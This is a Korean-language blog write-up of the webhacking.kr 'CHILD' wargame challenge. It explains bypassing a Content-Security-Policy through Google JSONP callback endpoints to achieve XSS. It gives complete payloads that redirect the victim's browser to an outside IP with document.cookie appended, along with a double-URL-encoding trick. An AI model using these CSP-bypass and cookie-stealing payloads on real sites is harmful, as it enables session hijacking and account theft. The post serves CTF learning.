Sechack

webhacking.kr CHILD 풀이 본문

Wargame

webhacking.kr CHILD 풀이

Sechack 2021. 7. 9. 00:34
반응형

 

태그 인젝션이 가능하다. report기능이 있으니까 xss를 하면 된다.

 

 

Content-Security-Policy: script-src https://*.google.com/

 

하지만 이러한 CSP에 걸린다. *.google.com에서 오는 javascript만 허용하고 있다. 자 그러면 풀이방법은 브라우저 0-day찾거나 *.google.com도메인으로 돌아가는 서비스에서 멋지게 RCE트리거해서 xss.js만들어준다음 로드시키면 끝난다.(?)

 

 

장난이고 구글은 방대한 서비스이다. 구글 서비스중에서 javascript를 실행할 수 있는걸 찾으면 된다. 방대한 구글 서비스들의 소스코드를 하나하나 분석하는건 미친짓이니까 google jsonp xss 이런식의 키워드로 구글링을 해보면

 

 

https://github.com/zigoo0/JSONBee

 

zigoo0/JSONBee

A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites. - zigoo0/JSONBee

github.com

 

 

이러한 github이 나온다. 대충 내용을 보면

 

<script src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)"></script>

 

이렇게 callback에다가 요청을 보내는 url이 보인다. cse.google.com에 있는 JSONP니까 CSP를 우회할 수 있을것같다. 한번 잘 되는지 해보자.

 

 

잘 실행된다. 그렇다면 이제 javascript이용해서 쿠키를 내 개인서버로 보내면 끝난다.

 

?inject=<script src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=document.location.href='http://118.37.149.205:9999?cookie='%252bdocument.cookie"></script>

 

그래서 이렇게 날렸는데 아무리 해도 안된다...ㅋㅋ 개발자도구 콘솔 보니까 CORB때문에 안되는것 같았다. 그래서 다른 JSONP를 찾아보았다. 구글링 계속 더 해본 결과

 

 

https://www.arridae.com/blogs/bypass-csp.php

 

Bypassing Content Security Policy

Introduction The content security policy (CSP) is a special HTTP header used to mitigate certain types of attacks such as cross site scripting (XSS). Some engineers think the CSP is a magic bullet against vulnerabilities like XSS but if setup improperly, y

www.arridae.com

 

이 사이트를 발견했고

 

https://accounts.google.com/o/oauth2/revoke?callback=alert(1)

 

이런식으로 보내는걸 볼 수 있었다.

 

 

역시나 트리거 된다. 이것도 한번 내 개인서버로 리다이렉트를 시도해보자.

 

 

실행 도중에 에러가 터졌다. 아마 내가 입력한 javascript랑 저기 저 json 데이터랑 하나의 묶음으로 인식하는듯 한다. 그러면 세미콜론을 이용해서 독립된 문장으로 만들어보자.

 

 

리다이렉트가 성공적으로 된다. 지금 로컬 컴퓨터에서 서버를 연거라서 본인 컴퓨터에서 외부아이피 이용해서 접속하려고하면 연결할 수 없다 뜨는데 다른사람 컴에서는 정상접속 될것이다.

 

?inject=<script src="https://accounts.google.com/o/oauth2/revoke?callback=document.location.href='http://118.37.149.205:9999?cookie='%252bdocument.cookie;"></script>

 

결론은 이렇게 보내면 내 개인서버로 쿠키가 딸려들어와서 플래그를 얻을 수 있다. 그리고 url+document.cookie할때 +를 2번 url인코딩 해준 이유는 그냥 url에 +를 넣으면 공백으로 인식된다. 그렇다고 %2b를 넣어도 공백으로 인식되는것이다. 따라서 한번더 인코딩해서 %252b를 넣었더니 +로 잘 인식된다.

 

 

쿠키를 얻어왔다.

반응형

'Wargame' 카테고리의 다른 글

pwnable.tw - Kidding  (0) 2021.08.26
DreamHack - tiny backdoor 풀이  (0) 2021.07.12
webhacking.kr RPG1 풀이  (0) 2021.07.08
webhacking.kr baby 풀이  (0) 2021.07.08
HackCTF - Let'S get it ! Boo*4 풀이  (0) 2021.06.08
Comments